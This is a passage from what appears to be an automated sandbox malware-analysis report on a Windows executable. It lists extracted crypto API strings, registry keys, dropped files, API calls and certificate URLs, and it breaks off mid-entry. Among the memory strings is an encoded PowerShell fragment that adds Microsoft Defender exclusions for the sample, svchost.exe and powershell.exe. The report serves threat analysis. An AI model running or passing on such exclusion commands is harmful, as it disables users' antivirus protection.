"00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found reference to "CryptoConfig" (Indicator: "CryptoConfig"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.055A0000.00000004.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.055A0000.00000004.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found reference to "CryptoStream" (Indicator: "CryptoStream"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp, 00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp")2b:T18de,Found string "ToBase64String" (Indicator: "base64"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "ToBase64String" (Indicator: "ToBase64String"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "FromBase64String" (Indicator: "base64"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "RSACryptoServiceProvider" (Indicator: "RsaCryptoServiceProvider"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "AesCryptoServiceProvider" (Indicator: "aes"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "AesCryptoServiceProvider" (Indicator: "aescryptoserviceprovider"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "RijndaelManaged" (Indicator: "rijndael"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "RijndaelManaged" (Indicator: "Rijndaelmanaged"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "CryptoStream" (Indicator: "cryptostream"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "CryptoStreamMode" (Indicator: "cryptostream"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "CryptoStreamMode" (Indicator: "cryptostreammode"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "CreateDecryptor" (Indicator: "createdecryptor"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "CreateEncryptor" (Indicator: "createencryptor"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "aes"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "aescryptoserviceprovider"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "System.Security.Cryptography"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") file/memory contains long string with (Indicator: "base64"; File: "Windows.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "Windows.exe") file/memory contains long string with (Indicator: "GzipStream"; File: "Windows.exe") file/memory contains long string with (Indicator: "ToBase64String"; File: "Windows.exe") file/memory contains long string with (Indicator: "md5cryptoserviceprovider"; File: "Windows.exe") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "Windows.exe") file/memory contains long string with (Indicator: "aes"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found string "ystem.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00004196.00000000.189581.03990000.00000002.mdmp") Found string "ystem.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00004196.00000000.189581.03990000.00000002.mdmp") Found string "ystem.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00004196.00000000.189581.03990000.00000002.mdmp") Found string "ystem.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00004196.00000000.189581.03990000.00000002.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004196.00000000.189581.055A0000.00000004.mdmp, 00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004196.00000000.189581.055A0000.00000004.mdmp, 00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "aes"; Source: "00000000-00004196.00000000.189581.055A0000.00000004.mdmp, 00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00004196.00000000.189581.055A0000.00000004.mdmp, 00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004196.00000000.189581.055A0000.00000004.mdmp, 00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found string "P~AeS" (Indicator: "aes"; Source: "00000000-00004196.00000000.189581.055A0000.00000004.mdmp, 00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found string "PQAeS~" (Indicator: "aes"; Source: "00000000-00004196.00000000.189581.055A0000.00000004.mdmp, 00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found string "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "aes"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found string "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp")2c:T420,file/memory contains long string(File: "Windows.exe") Found string "GZipStream" (Source: "00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found string "system.io.compression" (Source: "00000000-00007204.00000001.190116.5BC90000.00000004.mdmp, 00000000-00007204.00000001.190116.5BCB0000.00000004.mdmp") Found string "compressionmode" (Source: "00000000-00007204.00000001.190116.5BC90000.00000004.mdmp") Found string "decompressionmethods" (Source: "00000000-00007204.00000001.190116.5BC90000.00000004.mdmp") Found string "compressionlevel" (Source: "00000000-00007204.00000001.190116.5BC90000.00000004.mdmp") Found string "compressionstrategy" (Source: "00000000-00007204.00000001.190116.5BC90000.00000004.mdmp") Found string "compressionmethod" (Source: "00000000-00007204.00000001.190116.5BC90000.00000004.mdmp") Found string "compressiontracingswitchlevel" (Source: "00000000-00007204.00000001.190116.5BCB0000.00000004.mdmp") Found string "compressiontracingswitch" (Source: "00000000-00007204.00000001.190116.5BCB0000.00000004.mdmp")2d:T1a88,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" in Source: 600002e-KKGHIFMPDFBBPDFCKDMPFPFGOIOLPHANCBNG~JMCCOOPHNCFNEHPADILOIKGCFNHNAEBKLCAJ "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00004196.00000000.189581.03290000.00000004.mdmp 00000000-00004196.00000001.190154.03290000.00000004.mdmp "E\Software\Mn" in Source: 00000000-00004196.00000000.189581.03290000.00000004.mdmp 00000000-00004196.00000001.190154.03290000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00004196.00000000.189581.03290000.00000004.mdmp 00000000-00004196.00000001.190154.03290000.00000004.mdmp "y\Machine\Software\Classes\AppID\bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" in Source: 00000000-00004196.00000000.189581.03290000.00000004.mdmp 00000000-00004196.00000001.190154.03290000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004196.00000000.189581.03290000.00000004.mdmp 00000000-00004196.00000001.190154.03290000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004196.00000000.189581.055A0000.00000004.mdmp 00000000-00004196.00000001.190154.055A0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00004196.00000000.189581.055A0000.00000004.mdmp 00000000-00004196.00000001.190154.055A0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00004196.00000000.189581.055A0000.00000004.mdmp 00000000-00004196.00000001.190154.055A0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00004196.00000000.189581.055A0000.00000004.mdmp 00000000-00004196.00000001.190154.055A0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System4" in Source: 00000000-00004196.00000000.189581.155A0000.00000004.mdmp 00000000-00004196.00000001.190154.155A0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00004196.00000000.189581.1E3B0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00004196.00000000.189581.1E3B0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}" in Source: 00000000-00004196.00000000.189581.1E3B0000.00000004.mdmp 00000000-00004196.00000001.190154.1E3B0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}" in Source: 00000000-00004196.00000000.189581.1E3B0000.00000004.mdmp 00000000-00004196.00000001.190154.1E3B0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-0000000000" in Source: 00000000-00004196.00000000.189581.1E3B0000.00000004.mdmp 00000000-00004196.00000001.190154.1E3B0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\Instance" in Source: 00000000-00004196.00000000.189581.1E3B0000.00000004.mdmp 00000000-00004196.00000001.190154.1E3B0000.00000004.mdmp "istry\Machine\Software\Classes\WOW6432Node\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}" in Source: 00000000-00004196.00000000.189581.1E3B0000.00000004.mdmp 00000000-00004196.00000001.190154.1E3B0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994" in Source: 00000000-00004196.00000000.189581.1E3B0000.00000004.mdmp 00000000-00004196.00000001.190154.1E3B0000.00000004.mdmp "ALL\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-0#" in Source: 00000000-00004196.00000000.189581.1E3B0000.00000004.mdmp 00000000-00004196.00000001.190154.1E3B0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004196.00000000.189581.1E3B0000.00000004.mdmp 00000000-00004196.00000001.190154.1E3B0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00004196.00000000.189581.1E3B0000.00000004.mdmp "4AYQBtAGUAIAAnAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAHkAcwB0AHIAYQB5ACcAIAAtAEYAbwByAGMAZQANAAoAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAQwA6AFwAYgBmAGUAZQAyADUAYgBmAGYAYgA4ADcANgBmAGMANQAyADIANAA2AGMAZgAzADUAZAA0ADEAYQAxADYAZQBkAGEAMAA1ADAAMABjADUAOQA1ADAAMQBkADYANAA1AGEAZQA1AGIAZAA1ADcAZABjADAAZAA5ADAAZQAzADgAYgAuAGUAeABlACcADQAKAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBXAGkAbgBkAG8AdwBzAC4AZQB4AGUAJwANAAoAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcADQAKAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuA\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00004196.00000000.189581.1E3B0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00004196.00000000.189581.1E3B0000.00000004.mdmp "5574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004196.00000001.190154.03290000.00000004.mdmp "Registry\Machine\Software\Classes\Applications\%1.exe" in Source: 00000000-00004196.00000001.190154.03290000.00000004.mdmp "Registry\Machine\Software\Classes\Applications\Windows.exe" in Source: 00000000-00004196.00000001.190154.03290000.00000004.mdmp "BuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuA\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00004196.00000001.190154.1E3B0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007204.00000000.189804.F9840000.00000004.mdmp 00000000-00007204.00000001.190116.F9870000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00007204.00000000.189804.F9840000.00000004.mdmp 00000000-00007204.00000001.190116.F9870000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp 00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp2e:T4f4,"bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" writes file "c:\users\%osuser%\appdata\local\temp\windows.exe" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\clr_v4.0\usagelogs\bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe.log" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" writes file "%temp%\windows.exe" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" writes file "%localappdata%\microsoft\clr_v4.0\usagelogs\bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe.log" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_k0icky3b.4wi.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_mhcon5eg.5wx.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "%temp%\__psscriptpolicytest_k0icky3b.4wi.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_mhcon5eg.5wx.psm1" "powershell.exe" writes file "%localappdata%\microsoft\windows\powershell\startupprofiledata-noninteractive"2f:T1298,"bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000009000000000000001800000000000000f5a1f1c0f1bb00000800000000000000ffffffffffffffff3400000000000000442f9dd3ff7f0000d8e6fe0000000000db047eebff7f000000000000ff7f00002a96fce7ff7f0000000000000000000009000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff340000000000000040e7fe00000000000800000000000000000000000000000000000000000000002598f1c0f1bb0000c3f07cebff7f0000000021ebff7f0000a7137debff7f000098e7fe00 (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac26eaff7f0000000000000000000051ed80ebff7f00000000000000000000000000000000000068b7c19a566a00002a00000000000000c07d3303000000008fec80ebff7f0000e0ac26eaff7f0000e0ac26eaff7f0000000000000000000000000000ff7f0000ffffff7f9a6c000000000000000000000000000000000000d8ce1aeaff7f00002a0000000000000069c3d3e9ff7f0000310000000000000010030000000000001403000000000000110001100000000080cdfe000000000003a3e4e8ff7f000080cdfe000000000000000000000000002b00000000000000000000000000000020b0d9e9ff7f0000b43fd8e9ff7f0000e0ce1aea (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000002ae4a5e8ff7f0000400000000000000000000000000000000000000200000000000000000000000060a8fa1d00000000d8a8fa1d000000000000000000000000000000000000000080acfa1d00000000c000e60100000000c0a9fa1d000000003000000000000000000000000000000078a8fa1d0000000040000000000000000000000000000000000000000000000000000000ff7f00000000000000000000560400000000000001000000000000000000000000000000e0acfa1d000000000000000000000000000000000000000004000000ff7f0000000000000000000000000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004196) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007204)30:T49f,"bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000660062003800370036006600630035003200320034003600630066003300350064003400310061003100360065006400610030003500300030006300350039003500300031006400360034003500610065003500620064003500370064006300300064003900300065003300380062002e00650078006500000040662a03 (UID: 00000000-00004196) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e0065007800650000005c006d0061006300680069006e0065002e0063000500000571db0000804084f9 (UID: 00000000-00007204) "Windows.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000006f006e0000005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e00660069006700050000057b70000028ae7c0238a57d022e0063006f006e0066006900670000006c006c00 (UID: 00000000-00005044)31:T4655,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004196.00000000.189581.03290000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004196.00000001.190154.03290000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00007204.00000000.189804.F9840000.00000004.mdmp") Found URL "http://docc" - Source: "00000000-00007204.00000000.189804.F9840000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcsle" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0erise0q" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?umnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007204.00000000.189804.FBAD0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00007204.00000000.189804.FC150000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007204.00000000.189804.FC150000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007204.00000000.189804.FC150000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00007204.00000001.190116.E0BF2000.00000002.mdmp") Found URL 